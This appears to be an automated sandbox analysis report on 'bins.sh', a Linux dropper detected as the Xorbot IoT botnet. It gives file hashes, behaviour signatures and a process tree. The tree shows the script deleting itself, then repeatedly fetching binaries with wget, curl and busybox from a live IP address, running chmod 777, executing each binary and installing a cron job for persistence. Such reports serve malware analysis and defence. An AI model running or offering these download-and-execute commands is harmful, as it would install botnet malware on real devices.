Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-11-2024 13:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0f1ab6ac305389f1651f86ae8ee9487a

  • SHA1

    cc133fbbf8643f3760dbd7399724c620cc9e2ae3

  • SHA256

    987822b12edf58efb6a80d22ef3e6ea7cfa0d308fc363137aebd9471dc52e055

  • SHA512

    b828c6748e67d60491dbc1ce7d10fc3f6aaa10e8dbc12e07711adecc9f01c1c2970099204050333e4846e85263206ce32a5acb153e081038b322e17b43ec7572

  • SSDEEP

    192:dI34uu03vbUxuYVaSlRJ66TlRJ66v7Buu03vbaf/:dI34uu03zUxpVaI1uu03zaf/

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2037) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1505
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1506
        • /usr/bin/wget
          wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Writes file to tmp directory
          PID:1520
        • /bin/chmod
          chmod 777 j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • File and Directory Permissions Modification
          PID:1521
        • /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          ./j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
          • Executes dropped EXE
          PID:1522
        • /bin/rm
          rm j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
          2⤵
            PID:1524
          • /usr/bin/wget
            wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Writes file to tmp directory
            PID:1525
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/chmod
            chmod 777 p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • File and Directory Permissions Modification
            PID:1528
          • /tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            ./p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
            • Executes dropped EXE
            PID:1529
          • /bin/rm
            rm p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
            2⤵
              PID:1531
            • /usr/bin/wget
              wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Writes file to tmp directory
              PID:1532
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /bin/chmod
              chmod 777 CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • File and Directory Permissions Modification
              PID:1535
            • /tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              ./CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
              • Executes dropped EXE
              PID:1536
            • /bin/rm
              rm CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
              2⤵
                PID:1538
              • /usr/bin/wget
                wget http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Writes file to tmp directory
                PID:1539
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Writes file to tmp directory
                PID:1540
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Writes file to tmp directory
                PID:1541
              • /bin/chmod
                chmod 777 ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • File and Directory Permissions Modification
                PID:1542
              • /tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                ./ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                • Executes dropped EXE
                PID:1543
              • /bin/rm
                rm ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
                2⤵
                  PID:1545
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Writes file to tmp directory
                  PID:1546
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Writes file to tmp directory
                  PID:1547
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /bin/chmod
                  chmod 777 cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1549
                • /tmp/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  ./cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                  • Executes dropped EXE
                  PID:1550
                • /bin/rm
                  rm cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
                  2⤵
                    PID:1552
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Writes file to tmp directory
                    PID:1553
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Writes file to tmp directory
                    PID:1554
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Writes file to tmp directory
                    PID:1555
                  • /bin/chmod
                    chmod 777 YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1556
                  • /tmp/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    ./YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1557
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1559
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1560
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1561
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1562
                        • /bin/rm
                          rm YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU
                          2⤵
                            PID:1564
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/1qF9PJLKB9Rd3WzQDulqDaCk1DbRcwOfT8
                            2⤵
                              PID:1567

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/YGj5aNLNXDPd1hiDNl2sbmrW1hU4NykekU

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /var/spool/cron/crontabs/tmp.YTH2sY

                            Filesize

                            210B

                            MD5

                            04187745d86f87297efeaa49de4a9c52

                            SHA1

                            ed7b69e36eca5190bf6388891487931e6d468081

                            SHA256

                            91e12188538b50dd1782633886cc22de3852553c5e3818ddd53cfe5bdbe4018a

                            SHA512

                            1e8a3a7526dad635f2ff12baf9544e44d0d59d293cdb610a1d0ac4bcf3e97269711c4e1441886dcb0e506198e2ed5f56883bdcaf14bbb7510bf3810e1a9efa54